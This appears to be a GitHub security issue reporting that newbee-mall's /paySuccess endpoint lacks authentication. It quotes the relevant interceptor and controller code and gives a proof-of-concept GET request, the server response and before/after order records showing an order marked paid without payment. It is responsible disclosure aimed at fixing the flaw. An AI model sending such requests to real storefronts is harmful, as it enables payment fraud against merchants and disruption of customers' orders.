[Security] Unauthenticated Order Payment Status Manipulation via /paySuccess

[geo-chen]

Hi. Is there a place I can report potential security vulnerabilities please?

[geo-chen]

Summary

The /paySuccess endpoint in newbee-mall's Spring Boot storefront accepts GET requests without any authentication check or session validation. Any unauthenticated party who knows or can guess a valid order number can mark that order as paid without completing payment. The endpoint is completely absent from the login interceptor's path pattern list, and the underlying service method performs no ownership or session verification.

Details

The NewBeeMallLoginInterceptor is registered in NeeBeeMallWebMvcConfigurer.java using an explicit addPathPatterns allowlist. The /paySuccess route is omitted from this list:

File: src/main/java/ltd/newbee/mall/config/NeeBeeMallWebMvcConfigurer.java (lines 45-59)

registry.addInterceptor(newBeeMallLoginInterceptor)
    .excludePathPatterns("/admin/**")
    .excludePathPatterns("/register")
    .excludePathPatterns("/login")
    .excludePathPatterns("/logout")
    .addPathPatterns("/goods/detail/**")
    .addPathPatterns("/shop-cart")
    .addPathPatterns("/shop-cart/**")
    .addPathPatterns("/saveOrder")
    .addPathPatterns("/orders")
    .addPathPatterns("/orders/**")
    .addPathPatterns("/personal")
    .addPathPatterns("/personal/updateInfo")
    .addPathPatterns("/selectPayType")
    .addPathPatterns("/payPage");
    // /paySuccess is NOT listed

The controller handler has no session or user check:

File: src/main/java/ltd/newbee/mall/controller/mall/OrderController.java (lines 147-156)

@GetMapping("/paySuccess")
@ResponseBody
public Result paySuccess(@RequestParam("orderNo") String orderNo, @RequestParam("payType") int payType) {
    String payResult = newBeeMallOrderService.paySuccess(orderNo, payType);
    if (ServiceResultEnum.SUCCESS.getResult().equals(payResult)) {
        return ResultGenerator.genSuccessResult();
    } else {
        return ResultGenerator.genFailResult(payResult);
    }
}

The service method (NewBeeMallOrderServiceImpl.paySuccess, lines 375-394) also performs no userId check. It fetches the order by orderNo, verifies only that the order status is ORDER_PRE_PAY, then sets order_status=1 (PAID), pay_status=1, pay_type, and pay_time.

By contrast, adjacent endpoints like /selectPayType and /payPage do check that the requesting session user owns the order (lines 113-116 and 130-133), making the omission on /paySuccess a clear inconsistency.

PoC

Prerequisites: Know or enumerate any order number in ORDER_PRE_PAY status (status=0). Order numbers are generated sequentially by NumberUtil.genOrderNo() and are 13-digit numeric strings.

Steps to reproduce (no session, no cookie):

1. Identify or guess a target order number (e.g., from the URL after placing an order, or by inference).

2. Send the following request without any authentication cookie:

GET /paySuccess?orderNo=<TARGET_ORDER_NO>&payType=1 HTTP/1.1
Host: <target>

3. The server responds:

HTTP/1.1 200 OK
Content-Type: application/json

{"resultCode":200,"message":"SUCCESS","data":null}

4. The order's database record is updated:
   • order_status: 0 (PRE_PAY) -> 1 (PAID)
   • pay_status: 0 -> 1
   • pay_type: set to the attacker-supplied value
   • pay_time: set to current timestamp

validated on commit a069069 (Docker compose, mysql:8.0):

Before call:

order_no | user_id | order_status | pay_status
VALID001 |      11 |            0 |          0

Request (no session cookie):

GET /paySuccess?orderNo=VALID001&payType=2 HTTP/1.1
Host: localhost:28089

Response:

{"resultCode":200,"message":"SUCCESS","data":null}

After call:

order_no | user_id | order_status | pay_status | pay_type | pay_time
VALID001 |      11 |            1 |          1 |        2 | 2026-06-03 07:50:29

Impact

Any unauthenticated attacker on the network can mark any pending order as paid without making payment. This allows:

1. Receiving goods without paying by manipulating one's own order before the payment gateway redirects.
2. In a more targeted attack, disrupting another user's order payment flow by marking their order as paid with an invalid pay type before the legitimate payment completes.

The attacker needs no account. The only information required is a valid order number in pending-payment state, which is a 13-digit timestamp-based numeric string that can be inferred from timing or observed from the browser URL bar after checkout.